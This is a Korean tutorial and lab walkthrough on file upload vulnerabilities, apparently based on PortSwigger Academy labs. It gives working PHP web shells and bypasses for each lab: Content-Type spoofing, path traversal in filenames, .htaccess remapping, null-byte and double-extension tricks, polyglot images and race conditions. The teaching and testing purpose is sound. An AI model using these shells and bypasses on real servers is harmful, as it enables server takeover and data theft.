파일 업로드 취약점
웹 서버가 파일 이름, 유형, 내용, 크기 등의 유효성 검사를 제대로 수행하지 않아 사용자가 업로드한 파일이 별다른 제한 없이 저장될 때 발생하는 취약점입니다. 이러한 유효성 검사가 미흡할 경우, 기본적인 이미지 업로드 기능을 통해서도 악성 파일 업로드가 가능합니다.
이를 통해 원격 코드 실행(RCE)을 가능하게 하는 서버 사이드 스크립트 파일을 업로드할 수 있습니다.
크기가 큰 파일을 반복적으로 업로드하는 것만으로도 서버에 피해를 줄 수 있으며, 웹 셸 파일을 업로드한 뒤 해당 URL 경로로 HTTP 요청을 전송하는 방식으로 서버를 장악하는 것도 가능합니다.
파일 업로드 취약점의 영향
파일 업로드 취약점의 영향은 주로 두 가지 핵심 요소에 따라 달라집니다.
- 웹 사이트에서 파일의 어떤 부분(크기, 유형, 내용 등)을 제대로 검증하지 못하는가
- 파일 업로드 이후 어떤 제한 사항이 존재하는가 (실행 권한이 있는 디렉터리에 업로드 후 직접 접근하여 명령 실행이 가능한지 등)
업로드된 파일에 대해 별도의 제한이 존재하지 않는 경우, 서버 환경에 따라 서버 사이드 스크립트 파일을 업로드할 수 있습니다. 이 경우 공격자는 웹 셸 기능을 하는 파일을 업로드하여 서버에 대한 완전한 제어권을 확보할 수 있습니다.
또한 파일 이름 검증이 미흡하다면, 공격자는 동일한 이름의 파일을 업로드하여 중요 파일을 덮어쓸 수 있습니다. 서버 측에 경로 탐색(Path Traversal) 취약점까지 존재한다면 의도하지 않은 경로에 파일을 업로드하는 것도 가능합니다.
파일 크기에 대한 임계값을 초과하는 파일을 업로드할 경우, 서비스 거부(DoS) 공격을 유발할 수도 있습니다.
파일 업로드 취약점은 왜 발생하는가
이처럼 위험성이 명확한 취약점이기 때문에, 실제 환경에서 파일 업로드 기능에 아무런 제한이 없는 경우는 드뭅니다. 그러나 유효성 검사 로직 자체에 결함이 있거나 우회가 가능한 경우가 존재합니다.
예를 들어, 파일 확장자를 블랙리스트 방식으로 제한하는 경우, 구문 분석 과정에서의 오류(Null Byte 삽입, 대소문자 처리 미흡 등)를 이용하거나, 위험하지만 잘 알려지지 않은 확장자로 업로드를 시도해볼 수 있습니다.
결론적으로, 아무리 강력한 검증이라도 웹 사이트 전체에 일관성 없이 적용되면 악용될 여지가 존재합니다.
웹 서버의 정적 파일 요청 처리
과거와 현재의 웹사이트 구조 비교
과거에 웹사이트는 요청 시 제공되는 정적 파일로 구성되어 있습니다.
[서버 파일 시스템]
/var/www/html/
├── index.html
├── about.html
├── images/
│ └── logo.png
└── css/
└── style.css
[URL 요청]
GET /index.html → /var/www/html/index.html
GET /about.html → /var/www/html/about.html
GET /images/logo.png → /var/www/html/images/logo.png
GET /css/style.css → /var/www/html/css/style.css
요청하는 URL 경로가 실제 파일 경로와 동일했으며, 모든 페이지가 미리 만들어진 HTML 파일이었습니다. 서버는 단순히 파일을 찾아 전송하는 역할만 수행했습니다.
현재 웹사이트의 경우 URL과 파일 시스템이 분리되어 있습니다.
[서버 파일 시스템]
/var/www/html/
├── index.php
├── app/
│ ├── controllers/
│ │ └── UserController.php
│ └── models/
│ └── User.php
└── public/
└── uploads/
[URL 요청]
GET /user/profile/123 → index.php (라우팅) → UserController::show(123)
GET /products/search → index.php (라우팅) → ProductController::search()
POST /api/login → index.php (라우팅) → AuthController::login()
[하지만 정적 파일은 여전히 직접 매핑]
GET /public/uploads/image.jpg → /var/www/html/public/uploads/image.jpg
GET /css/style.css → /var/www/html/css/style.css
대부분의 URL은 라우팅 시스템을 통해 처리됩니다. 하지만 일부 정적 파일의 경우 이전과 동일하게 파일 시스템에 직접 접근하도록 설정되어 있으며, 바로 이 정적 파일 처리 부분이 공격 포인트가 됩니다.
웹 서버의 파일 처리 프로세스
[1단계] HTTP 요청 수신
GET /uploads/document.pdf HTTP/1.1
Host: example.com
[2단계] 경로 분석 및 파일 확장자 식별
요청 경로: /uploads/document.pdf
파일명 추출: document.pdf
확장자 추출: .pdf
[3단계] MIME 타입 매핑 조회
서버 내부 매핑 테이블:
.pdf → application/pdf
.jpg → image/jpeg
.php → application/x-httpd-php
.html → text/html
결과: .pdf = application/pdf
[4단계] 파일 타입에 따른 처리 분기
3단계에서 Content-Type 헤더는 서버가 어떤 종류의 파일을 제공하는지에 대한 정보를 제공합니다. 애플리케이션 코드에서 이 헤더를 명시적으로 설정하지 않은 경우, 일반적으로 파일 확장자와 MIME 유형 매핑 결과가 포함됩니다.
# /etc/apache2/mime.types 또는 /etc/mime.types
# 이미지
image/jpeg jpg jpeg jpe
image/png png
image/gif gif
image/webp webp
# 문서
application/pdf pdf
application/msword doc
application/zip zip
# 웹 문서
text/html html htm shtml
text/css css
application/javascript js
# 실행 가능 스크립트
application/x-httpd-php php php3 php4 php5 phtml
application/x-jsp jsp jspx
application/x-asp asp aspx
이후의 처리 과정은 파일 유형과 서버 구성에 따라 달라집니다.
파일 타입별 처리 시나리오
크게 세 가지 시나리오로 나눌 수 있습니다.
- 이미지나 정적 HTML 파일처럼 실행 불가능한 파일의 경우, 서버는 HTTP 응답을 통해 파일 내용을 클라이언트로 전송합니다.
- PHP처럼 실행 가능한 파일이고 서버가 해당 형식을 실행하도록 설정되어 있는 경우, 서버는 스크립트 실행 전 HTTP 요청의 헤더와 매개변수를 기반으로 변수를 할당한 뒤 스크립트를 실행하고 그 결과를 HTTP 응답으로 클라이언트에 전송합니다.
- 실행 가능한 파일 형식이지만 서버가 해당 형식을 실행하도록 설정되어 있지 않은 경우, 일반적으로 오류 메시지가 표시됩니다. 그러나 경우에 따라 파일 내용이 일반 텍스트로 클라이언트에 제공될 수 있으며, 이러한 잘못된 구성은 소스 코드 및 기타 민감한 정보 유출에 악용될 수 있습니다.
응답 Content-Type 헤더는 서버가 어떤 종류의 파일을 제공했는지에 대한 단서를 제공합니다. 애플리케이션 코드에서 이 헤더를 명시적으로 설정하지 않은 경우, 일반적으로 파일 확장자와 MIME 유형 매핑 결과가 포함됩니다.
이제 핵심 개념을 이해했으니, 이러한 취약점을 어떻게 악용할 수 있는지 살펴보겠습니다.
무제한 파일 업로드를 악용하여 웹 셸을 배포하는 방법
보안 관점에서 최악의 시나리오는 웹 사이트에서 PHP, Java, Python과 같은 서버 사이드 스크립트 파일을 업로드할 수 있고, 서버가 해당 스크립트를 코드로 실행하도록 설정되어 있는 경우입니다. 이 경우 공격자는 웹 셸을 손쉽게 업로드하여 서버를 장악할 수 있습니다.
웹 셸
웹 셸은 공격자가 업로드 경로로 HTTP 요청을 보내는 것만으로 원격 서버에서 임의의 명령을 실행할 수 있게 하는 악성 스크립트입니다.
웹 셸을 성공적으로 업로드하면 서버에 대한 완전한 제어권을 확보하게 됩니다. 임의의 파일을 읽고 쓸 수 있으며, 민감한 데이터를 유출할 수 있고, 서버를 거점으로 삼아 내부 인프라 및 외부 네트워크에 대한 추가 공격을 수행할 수도 있습니다.
예를 들어, 다음 PHP 코드 한 줄을 사용하면 서버 파일 시스템에서 임의의 파일을 읽을 수 있습니다.
<?php echo file_get_contents('/path/to/target/file'); ?>
이 파일이 업로드된 후 해당 경로로 요청을 보내면, 응답으로 대상 파일의 내용이 반환됩니다.
보다 다양한 기능을 갖춘 웹 셸은 다음과 같은 형태입니다.
<?php echo system($_GET['command']); ?>
이 스크립트를 사용하면 다음과 같이 쿼리 매개변수를 통해 임의의 시스템 명령을 전달할 수 있습니다.
GET /example/exploit.php?command=id HTTP/1.1
실습: 웹 셸 업로드를 통한 원격 코드 실행 (Remote code execution via web shell upload)
이 실습 환경에는 취약한 이미지 업로드 기능이 포함되어 있습니다. 서버는 사용자가 업로드한 파일을 파일 시스템에 저장하기 전에 어떠한 유효성 검사도 수행하지 않습니다.
실습을 완료하려면 기본 PHP 웹 셸을 업로드하고 이를 사용하여 /home/carlos/secret 파일의 내용을 추출해야 합니다. 추출한 비밀 키를 실습 배너의 버튼을 사용하여 제출합니다. 다음 자격 증명을 사용하여 본인 계정에 로그인할 수 있습니다: wiener:peter

프로필 페이지에는 사진을 업로드할 수 있는 기능이 존재합니다. 먼저 간단한 이미지 파일을 첨부하여 업로드를 진행합니다.

업로드가 성공하는 것을 확인할 수 있습니다.

동일한 작업을 진행하되, 이번에는 서버 사이드 스크립트 파일(PHP)을 업로드합니다. 파일 내용에는 command 파라미터를 GET 방식으로 전달받아 PHP 코드로 실행하는 코드를 삽입합니다.

성공적으로 업로드되는 것을 확인할 수 있습니다.

업로드된 파일은 files 디렉터리 하위에 저장되어 있습니다.

업로드된 경로로 HTTP 요청을 전송하면서 command 파라미터의 값으로 id를 전달하면, 서버 측에서 명령이 실행되어 그 결과가 클라이언트 응답으로 반환되는 것을 확인할 수 있습니다.

최종 목표인 /home/carlos/secret 파일을 읽도록 명령어를 설정한 뒤 요청을 전송합니다.

간단한 HTTP 요청만으로 서버 내에 존재하는 파일의 내용을 읽을 수 있었습니다.
파일 업로드 유효성 검사의 결함 악용
실제 환경에서는 앞선 실습처럼 파일 업로드에 대한 방어 체계가 전혀 없는 웹사이트를 찾기 어렵습니다. 하지만 방어 체계가 존재한다고 해서 반드시 완벽한 것은 아닙니다. 이러한 방어 메커니즘의 취약점을 악용하여 웹 셸을 업로드하고 원격 코드 실행을 달성할 수 있는 경우가 여전히 존재합니다.
파일 형식 유효성 검사 오류
HTML 양식을 제출할 때 브라우저는 일반적으로 제공된 데이터를 콘텐츠 유형 application/x-www-form-urlencoded로 POST 요청을 통해 전송합니다. 이 방식은 이름이나 주소 같은 간단한 텍스트 전송에는 적합하지만, 이미지 파일이나 PDF 문서와 같은 대량의 바이너리 데이터 전송에는 적합하지 않습니다. 이 경우 콘텐츠 유형 multipart/form-data를 사용하는 것이 바람직합니다.
이미지를 업로드하고, 설명을 입력하며, 사용자 이름을 입력하는 필드를 포함하는 폼을 예로 들어보겠습니다. 이 폼을 제출하면 다음과 같은 요청이 생성됩니다.
POST /images HTTP/1.1
Host: normal-website.com
Content-Length: 12345
Content-Type: multipart/form-data; boundary=---------------------------012345678901234567890123456
---------------------------012345678901234567890123456
Content-Disposition: form-data; name="image"; filename="example.jpg"
Content-Type: image/jpeg
[...example.jpg의 바이너리 내용...]
---------------------------012345678901234567890123456
Content-Disposition: form-data; name="description"
This is an interesting description of my image.
---------------------------012345678901234567890123456
Content-Disposition: form-data; name="username"
wiener
---------------------------012345678901234567890123456--
메시지 본문은 폼의 각 입력값마다 별도의 파트로 분할됩니다. 각 파트에는 관련 입력 필드에 대한 기본 정보를 제공하는 Content-Disposition 헤더가 포함됩니다. 개별 파트에는 자체적으로 Content-Type 헤더를 포함할 수 있으며, 이를 통해 해당 입력으로 제출된 데이터의 MIME 타입을 서버에 알려줍니다.
웹사이트가 파일 업로드를 검증하는 방법 중 하나는 이 Content-Type 헤더가 예상되는 MIME 유형과 일치하는지 확인하는 것입니다. 예를 들어 서버가 이미지 파일만 허용하는 경우, image/jpeg 및 image/png 유형만 받아들일 수 있습니다. 문제는 이 헤더의 값을 서버가 무조건 신뢰할 때 발생합니다. 파일 내용이 실제로 해당 MIME 유형과 일치하는지 추가 검증을 수행하지 않으면, Burp Repeater와 같은 도구를 사용하여 이 방어 메커니즘을 쉽게 우회할 수 있습니다.
실습: Content-Type 제한 우회를 통한 웹 셸 업로드 (Web shell upload via Content-Type restriction bypass)
이 실습에는 취약한 이미지 업로드 기능이 포함되어 있습니다. 예상치 못한 파일 유형의 업로드를 차단하려 하지만, 검증 시 사용자가 제어 가능한 입력값에 의존하고 있습니다. 실습을 해결하려면 기본 PHP 웹 셸을 업로드하고 이를 사용하여 /home/carlos/secret 파일의 내용을 유출해야 합니다. 다음 자격 증명을 사용하여 본인 계정에 로그인할 수 있습니다: wiener:peter

로그인 후 프로필에서 임의의 사진을 업로드합니다.

JPG 파일의 내용을 PHP로 변경하고 Content-Type도 함께 변조하여 전송하면, 서버에서 image/jpeg와 image/png만 업로드 가능하다는 경고가 반환됩니다.

경고 메시지에 맞춰 Content-Type을 image/jpeg로 수정한 뒤 전송하면, 별도의 제한 없이 업로드에 성공합니다. 업로드된 경로로 접근하면 서버에서 PHP 코드가 실행되어 파일의 내용을 확인할 수 있습니다.

사용자 접근 가능 디렉터리에서의 파일 실행 방지 (Preventing file execution in user-accessible directories)
위험한 파일 타입이 애초에 업로드되는 것을 방지하는 것이 가장 좋지만, 2차 방어선으로 서버가 업로드된 스크립트를 실행하지 못하도록 막는 방법이 있습니다.
예방책으로, 서버는 일반적으로 실행하도록 명시적으로 구성된 MIME 타입의 스크립트만 실행합니다. 그 외의 경우에는 오류 메시지를 반환하거나, 경우에 따라 파일 내용을 평문(plain text)으로 제공합니다.
GET /static/exploit.php?command=id HTTP/1.1
Host: normal-website.com
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 39
<?php echo system($_GET['command']); ?>
이러한 동작 자체는 소스 코드 유출의 수단이 될 수 있다는 점에서 잠재적으로 위험하지만, 웹 셸을 통한 코드 실행은 무효화됩니다.
이러한 설정은 디렉터리마다 다를 수 있습니다. 사용자가 업로드하는 파일이 저장되는 디렉터리에는 일반적으로 훨씬 엄격한 실행 제어가 적용됩니다. 만약 사용자 제공 파일이 위치하지 않아야 하는 다른 디렉터리에 스크립트를 업로드할 방법을 찾을 수 있다면, 서버가 해당 스크립트를 실행할 가능성이 있습니다.
웹 서버는 multipart/form-data 요청의 filename 필드를 사용하여 파일의 저장 이름과 위치를 결정하는 경우가 많습니다.
또한 모든 요청이 동일한 도메인으로 전송되더라도, 실제로는 로드 밸런서 같은 리버스 프록시 서버를 거치는 경우가 많다는 점도 유의해야 합니다. 백엔드의 추가 서버들이 각각 다르게 구성되어 있을 수 있습니다.
실습: 경로 탐색을 통한 웹 셸 업로드 (Web shell upload via path traversal)
이 실습에는 취약한 이미지 업로드 기능이 포함되어 있습니다. 서버는 사용자가 제공한 파일의 실행을 차단하도록 구성되어 있지만, 2차 취약점을 악용하여 이 제한을 우회할 수 있습니다. 실습을 해결하려면 기본 PHP 웹 셸을 업로드하고 이를 사용하여 /home/carlos/secret 파일의 내용을 유출해야 합니다. 다음 자격 증명으로 본인 계정에 로그인할 수 있습니다: wiener:peter

로그인 후 임의의 이미지 파일을 선택하여 업로드를 진행합니다.

요청에서 확장자, Content-Type, 파일 내용을 변조한 뒤 요청을 전송합니다.

업로드된 경로로 접근하면 PHP 코드가 실행되지 않고 평문으로 표시되는 것을 확인할 수 있습니다. 이는 files/avatars/ 디렉터리에 PHP 실행이 차단되어 있기 때문입니다. Apache나 Nginx 등 웹 서버 설정에 의해 해당 디렉터리에서는 스크립트 실행이 불가능합니다.
따라서 목표는 PHP 파일 실행이 가능한 다른 디렉터리에 파일을 저장하는 것입니다. Path Traversal을 사용하여 다른 디렉터리에 파일 저장을 시도합니다.

filename 파라미터의 값에 ..%2f를 추가하여 전송하면, 응답으로 avatars/../1.php에 저장되었다는 메시지가 반환됩니다. 기존에 파일이 저장되던 files/avatars/1.php 경로가 실제로는 files/1.php로 변경된 것입니다. 서버 측 설정이 미흡하여 files 디렉터리에서 PHP 실행이 가능하다면, 원격 코드 실행이 가능해집니다.

command=id를 쿼리 파라미터로 전송하면 서버 측에서 명령이 실행되어 그 결과가 HTTP 응답으로 반환됩니다.
위험한 파일 타입의 불충분한 블랙리스팅
악성 스크립트 업로드를 방지하는 가장 직관적인 방법 중 하나는 .php와 같은 잠재적으로 위험한 파일 확장자를 블랙리스트에 추가하는 것입니다. 그러나 블랙리스트 방식은 코드 실행에 사용될 수 있는 모든 가능한 파일 확장자를 명시적으로 차단하기 어렵다는 점에서 본질적으로 결함이 있습니다. .php5, .shtml 등 잘 알려지지 않은 대체 확장자를 사용하여 블랙리스트를 우회할 수 있습니다.
서버 구성 재정의
앞서 논의한 바와 같이, 서버는 명시적으로 구성되지 않는 한 파일을 실행하지 않습니다. 예를 들어, Apache 서버가 클라이언트가 요청한 PHP 파일을 실행하려면 /etc/apache2/apache2.conf 파일에 다음 지시문이 추가되어야 합니다.
LoadModule php_module /usr/lib/apache2/modules/libphp.so
AddType application/x-httpd-php .php
많은 서버는 개발자가 개별 디렉터리 내에 특수 구성 파일을 생성하여 전역 설정을 재정의하거나 추가할 수 있도록 허용합니다. 예를 들어, Apache 서버는 .htaccess 파일이 존재하면 해당 파일에서 디렉터리별 구성을 로드합니다.
마찬가지로, IIS 서버에서는 web.config 파일을 사용하여 디렉터리별 구성을 설정할 수 있습니다. 다음과 같은 지시문을 포함하여 JSON 파일이 사용자에게 제공되도록 허용하는 것이 그 예입니다.
<staticContent>
<mimeMap fileExtension=".json" mimeType="application/json" />
</staticContent>
웹 서버는 이러한 구성 파일을 참조하지만, 일반적으로 HTTP 요청을 통해 이 파일에 직접 접근하는 것은 허용되지 않습니다. 그러나 악성 구성 파일의 업로드를 차단하지 못하는 서버를 발견할 수 있으며, 이 경우 필요한 파일 확장자가 블랙리스트에 등록되어 있더라도, 임의의 사용자 정의 확장자를 실행 가능한 MIME 타입으로 매핑하도록 서버를 속일 수 있습니다.
실습: 확장자 블랙리스트 우회를 통한 웹 셸 업로드 (Web shell upload via extension blacklist bypass)
이 실습에는 취약한 이미지 업로드 기능이 포함되어 있습니다. 특정 파일 확장자가 블랙리스트에 등록되어 있지만, 블랙리스트 구성의 근본적인 결함을 이용하여 방어를 우회할 수 있습니다.
실습을 해결하려면 기본 PHP 웹 셸을 업로드한 다음, 이를 사용하여 /home/carlos/secret 파일의 내용을 유출해야 합니다. 이 실습을 해결하려면 두 개의 서로 다른 파일을 업로드해야 합니다. 다음 자격 증명으로 본인 계정에 로그인할 수 있습니다: wiener:peter

먼저 PHP 확장자를 가진 파일을 업로드합니다. 서버 측에서 PHP 확장자의 업로드를 차단하고 있음을 확인할 수 있습니다.

PHP와 동일하게 동작할 수 있는 .shtml 확장자로 변경하여 전송합니다. 성공적으로 업로드된 것을 확인한 후, 해당 파일에 접근을 시도합니다.

접근 결과, 코드 내용이 평문으로 표시될 뿐 실행되지는 않습니다. 해당 디렉터리에서는 실행 권한이 제거되어 있는 것으로 판단됩니다.
Path Traversal 기법을 사용해봅시다.

하지만 어떻게 시도를 해도, 타 디렉터리에 저장할 수는 없습니다.
.htaccess를 이용한 우회
해당 서버는 Apache로 구동되고 있습니다. 공격자가 .htaccess 파일을 업로드하여 저장할 수 있다면, 웹 서버의 디렉터리별 설정을 재정의할 수 있습니다. .htaccess 설정은 해당 파일이 업로드된 동일 디렉터리와 하위 디렉터리에만 적용된다는 점에 유의해야 합니다.

파일명을 .htaccess, Content-Type을 text/plain으로 설정하고, 내용에는 .shtml 확장자를 가진 파일이 PHP 코드로 실행되도록 하는 지시문을 작성하여 업로드합니다.
이제 서버에서 해당 디렉터리와 하위 디렉터리에 업로드된 .shtml 확장자의 파일은 application/x-httpd-php MIME 타입으로 매핑됩니다.
다시 이전과 동일하게 .shtml 확장자를 가진 파일을 업로드합니다.

업로드된 경로로 접근하면 다음과 같은 결과를 확인할 수 있습니다.

이전과 달리 코드가 실행되어 서버 내 파일의 내용이 응답 값으로 반환됩니다.
파일 확장자 난독화
웹 사이트의 확장자 블랙리스트 검증 코드가 exploit.pHp를 .php 파일로 인식하지 못한다고 가정해보겠습니다. 이후 파일 확장자를 MIME 타입에 매핑하는 코드가 대소문자를 구분하지 않는다면, 이러한 불일치를 이용하여 검증을 통과하면서도 서버에서 실행되는 악성 PHP 파일을 업로드할 수 있습니다.
다음과 같은 기법을 사용하여 유사한 결과를 얻을 수 있습니다.
- 파일명을 파싱하는 알고리즘에 따라 다음과 같은 파일은 PHP 파일 또는 JPG 이미지로 해석될 수 있습니다:
exploit.php.jpg - 일부 구성 요소는 후행 공백이나 점을 제거하거나 무시합니다:
exploit.php. - 점, 슬래시, 백슬래시에 대해 URL 인코딩(또는 이중 URL 인코딩)을 사용합니다. 확장자 검증 시 값이 디코딩되지 않지만 이후 서버 측에서 디코딩되는 경우, 차단 대상 파일을 업로드할 수 있습니다:
exploit%2Ephp - 파일 확장자 앞에 세미콜론 또는 URL 인코딩된 Null 바이트 문자를 추가합니다. 검증이 PHP나 Java와 같은 고급 언어로 작성되었지만 서버가 C/C++ 같은 저수준 함수로 파일을 처리하는 경우, 파일명의 끝으로 인식되는 지점에 불일치가 발생할 수 있습니다:
exploit.asp;.jpg또는exploit.asp%00.jpg - 멀티바이트 유니코드 문자를 사용합니다. 유니코드 변환 또는 정규화 후 Null 바이트와 점으로 변환될 수 있으며,
xC0 x2E,xC4 xAE,xC0 xAE와 같은 시퀀스는 파일명이 UTF-8로 파싱된 후 ASCII로 변환되는 과정에서x2E로 변환될 수 있습니다.
또 다른 방어책으로 위험한 확장자를 제거하거나 치환하는 방법이 있습니다. 그러나 이 변환이 재귀적으로 적용되지 않으면, 금지된 문자열을 제거한 후에도 유효한 파일 확장자가 남도록 구성할 수 있습니다. 예를 들어, 다음 파일명에서 .php를 제거하면 어떻게 되는지 살펴보겠습니다.
exploit.p.phphp
위에서 소개한 것은 파일 확장자를 난독화할 수 있는 수많은 방법 중 일부에 불과합니다.
실습: 파일 확장자 난독화를 통한 웹 셸 업로드 (Web shell upload via obfuscated file extension)
이 실습에는 취약한 이미지 업로드 기능이 포함되어 있습니다. 특정 파일 확장자가 블랙리스트에 등록되어 있지만, 고전적인 난독화 기법을 사용하여 이 방어를 우회할 수 있습니다.
실습을 해결하려면 기본 PHP 웹 셸을 업로드한 다음, 이를 사용하여 /home/carlos/secret 파일의 내용을 유출해야 합니다. 다음 자격 증명을 사용하여 본인 계정에 로그인할 수 있습니다: wiener:peter

PHP 확장자를 가진 파일을 업로드하면 오류가 발생합니다.

이중 확장자(exploit.php.jpg)로 파일을 업로드한 뒤 접근합니다.

그러나 이 경우 서버가 파일을 이미지로 해석하여 이미지가 표시됩니다. 이 방법으로는 코드 실행이 불가능합니다.

다음으로 upload.php%00.jpg로 파일명을 변경하여 전송합니다. 서버의 응답으로 avatars/upload.php가 업로드되었다는 메시지가 반환됩니다. %00(Null 바이트)에 의해 뒤의 .jpg 확장자가 무시되어, 실제로 서버에 저장되는 것은 upload.php 파일입니다.

해당 경로로 접근하면 입력한 PHP 코드가 정상적으로 실행되는 것을 확인할 수 있습니다.
파일 내용 검증의 결함
요청에 명시된 Content-Type을 그대로 신뢰하는 대신, 보다 안전한 서버는 파일 내용이 실제로 예상되는 형식과 일치하는지 검증하려 합니다.
이미지 업로드 기능의 경우, 서버는 이미지의 특정 고유 속성(예: 크기)을 확인할 수 있습니다. PHP 스크립트에는 이미지 크기 정보가 존재하지 않으므로, 서버는 해당 파일이 이미지가 아니라고 판단하여 업로드를 거부할 수 있습니다.
마찬가지로, 특정 파일 타입은 헤더나 푸터에 항상 고유한 바이트 시퀀스를 포함합니다. 이를 매직 바이트(Magic Bytes)라고 하며, 내용이 예상되는 타입과 일치하는지 판별하는 데 사용됩니다. 예를 들어, JPEG 파일은 항상 FF D8 FF 바이트로 시작합니다.
이 방식은 파일 타입을 검증하는 훨씬 강력한 방법이지만, 이 역시 완벽하지는 않습니다. ExifTool과 같은 도구를 사용하면 메타데이터 내에 악성 코드가 포함된 폴리글롯(Polyglot) 파일을 생성할 수 있습니다.
실습: 폴리글롯 웹 셸 업로드를 통한 원격 코드 실행 (Remote code execution via polyglot web shell upload)
이 실습에는 취약한 이미지 업로드 기능이 포함되어 있습니다. 서버가 파일 내용을 검사하여 실제 이미지인지 확인하지만, 여전히 서버 측 코드를 업로드하고 실행할 수 있습니다.
실습을 해결하려면 기본 PHP 웹 셸을 업로드한 다음, 이를 사용하여 /home/carlos/secret 파일의 내용을 유출해야 합니다. 다음 자격 증명을 사용하여 본인 계정에 로그인할 수 있습니다: wiener:peter
이 실습의 핵심은 이미지로도 인식되고 PHP로도 실행되는 폴리글롯 파일을 만드는 것입니다.

PHP 파일을 그대로 업로드하면 올바른 이미지 파일이 아니라는 오류가 발생합니다.
이번에는 확장자를 .php로 설정하고, Content-Type은 text/html로 지정하며, 바이너리 데이터는 실제 이미지 파일에서 가져옵니다. 이미지 데이터 중간에 서버 파일 내용을 읽는 PHP 코드를 삽입한 뒤 업로드를 진행합니다.

별도의 오류 없이 정상적으로 업로드됩니다. 업로드된 파일에 직접 접근하면 다음과 같은 결과를 확인할 수 있습니다.

서버 내 파일의 내용이 정상적으로 읽어지는 것을 확인할 수 있습니다. 이는 서버의 이미지 검증이 파일 시작 부분의 매직 바이트만 확인하기 때문에, 이미지 데이터 사이에 삽입된 PHP 코드가 검증을 통과하여 실행된 결과입니다.
파일 업로드 레이스 컨디션(Race Condition) 악용
현대 프레임워크는 파일 업로드 공격에 대해 비교적 견고합니다. 일반적으로 파일을 최종 목적지에 직접 업로드하지 않고, 먼저 임시 샌드박스 디렉터리에 저장하고 파일명을 무작위화하는 등의 예방 조치를 취합니다. 그런 다음 임시 파일에 대해 검증을 수행하고, 안전하다고 판단되면 최종 목적지로 이동시킵니다.
그러나 개발자가 프레임워크와 독립적으로 파일 업로드 처리를 직접 구현하는 경우가 있습니다. 이를 안전하게 구현하는 것은 상당히 복잡하며, 가장 강력한 검증조차 완전히 우회할 수 있는 레이스 컨디션이 발생할 수 있습니다.
예를 들어, 일부 웹사이트는 파일을 메인 파일 시스템에 직접 업로드한 다음 검증을 통과하지 못하면 삭제하는 방식을 사용합니다. 안티바이러스 소프트웨어로 파일을 검사하는 경우에 이러한 패턴이 자주 나타납니다. 이 과정은 수 밀리초에 불과하지만, 파일이 서버에 존재하는 그 짧은 시간 동안 공격자가 파일을 실행할 가능성이 존재합니다.
이러한 취약점은 극도로 미묘하여, 관련 소스 코드를 확인할 수 없으면 블랙박스 테스트에서 탐지하기 어렵습니다.
URL 기반 파일 업로드의 레이스 컨디션
URL을 통해 파일을 업로드할 수 있는 기능에서도 유사한 레이스 컨디션이 발생할 수 있습니다. 이 경우 서버는 원격에서 파일을 가져와 검증을 수행하기 전에 로컬 복사본을 생성해야 합니다.
파일이 HTTP를 통해 로드되므로, 프레임워크의 내장 검증 메커니즘을 직접 사용할 수 없습니다. 대신 파일을 임시로 저장하고 검증하는 프로세스를 수동으로 구현해야 하며, 이 과정이 완전히 안전하지 않을 수 있습니다.
파일이 무작위 이름의 임시 디렉터리에 저장되는 경우, 이론적으로는 레이스 컨디션 악용이 불가능해야 합니다. 디렉터리 이름을 모르면 파일 실행을 트리거하기 위한 요청을 보낼 수 없기 때문입니다. 그러나 무작위 디렉터리 이름이 PHP의 uniqid()와 같은 의사 난수 함수로 생성되는 경우, 무차별 대입 공격(Brute Force)이 가능할 수 있습니다.
공격을 더 용이하게 만들기 위해, 파일 처리에 걸리는 시간을 연장하여 무차별 대입을 위한 시간 창을 늘릴 수 있습니다. 한 가지 방법은 더 큰 파일을 업로드하는 것입니다. 파일이 청크 단위로 처리되는 경우, 시작 부분에 페이로드를 배치하고 그 뒤에 대량의 임의 패딩 바이트를 추가한 악성 파일을 생성하여 활용할 수 있습니다.
실습: 레이스 컨디션을 통한 웹 쉘 업로드 (Web shell upload via race condition)
힌트에는 다음과 같은 코드가 존재합니다.
<?php
$target_dir = "avatars/";
$target_file = $target_dir . $_FILES["avatar"]["name"];
// temporary move
move_uploaded_file($_FILES["avatar"]["tmp_name"], $target_file);
if (checkViruses($target_file) && checkFileType($target_file)) {
echo "The file ". htmlspecialchars( $target_file). " has been uploaded.";
} else {
unlink($target_file);
echo "Sorry, there was an error uploading your file.";
http_response_code(403);
}
function checkViruses($fileName) {
// checking for viruses
...
}
function checkFileType($fileName) {
$imageFileType = strtolower(pathinfo($fileName,PATHINFO_EXTENSION));
if($imageFileType != "jpg" && $imageFileType != "png") {
echo "Sorry, only JPG & PNG files are allowed\n";
return false;
} else {
return true;
}
}
?>
파일을 업로드 시, 임시로 다른 디렉터리로 이동시킨 후 검사가 완료되기 전 파일을 실행할 수 있는 잠깐의 시간이 존재합니다. 즉, 업로드와 파일을 검사하는 그 사이에 레이스 컨디션을 통해 공격을 수행하는 것입니다.
먼저 간단한 PHP 웹 쉘 코드를 작성합니다.
<?php echo file_get_contents('/home/carlos/secret'); ?>
프록시 내에서 아바타 업로드 기능으로 shell.php파일을 업로드합니다. 이 요청을 Intruder로 이동시킵니다.

이미지와 같이 첫 번째 Intruder를 설정합니다.
다음으로 두 번째 Intruder를 설정합니다. 업로드하는 것을 첫 번째로 설정했다면 이제 두 번째는 실제로 파일에 접근하는 요청입니다.

이제 이미지 업로드(POST)와 업로드한 파일에 접근하는(GET) 요청을 동시에 진행해보겠습니다. 그러면 업로드 요청은 계속 업로드를 진행하다가 파일을 읽은 요청 중간에 Race Condition 공격으로 인해 404오류만 나오다가 200(OK) 응답이 나올 때가 있습니다. 그러면 타이밍 공격에 성공한 것입니다.

원격 코드 실행 없이 파일 업로드 취약점 악용
지금까지는 서버 측 스크립트를 업로드하여 원격 코드 실행을 달성하는 시나리오를 살펴보았습니다. 이것이 파일 업로드 취약점의 가장 심각한 결과이지만, 코드 실행이 불가능한 경우에도 다른 방식으로 취약점을 악용할 수 있습니다.
악성 클라이언트 측 스크립트 업로드
서버에서 스크립트를 실행할 수 없더라도, 클라이언트 측 공격을 위한 스크립트를 업로드하는 것은 가능합니다. HTML 파일이나 SVG 이미지를 업로드할 수 있다면, <script> 태그를 사용하여 저장형 XSS(Stored XSS) 페이로드를 생성할 수 있습니다.
업로드된 파일이 다른 사용자가 방문하는 페이지에 표시되면, 브라우저는 페이지를 렌더링할 때 스크립트를 실행합니다. 다만, 동일 출처 정책(Same-Origin Policy)의 제한으로 인해, 이 공격은 업로드된 파일이 업로드한 것과 동일한 출처에서 제공되는 경우에만 동작합니다.
업로드된 파일의 파싱 취약점 악용
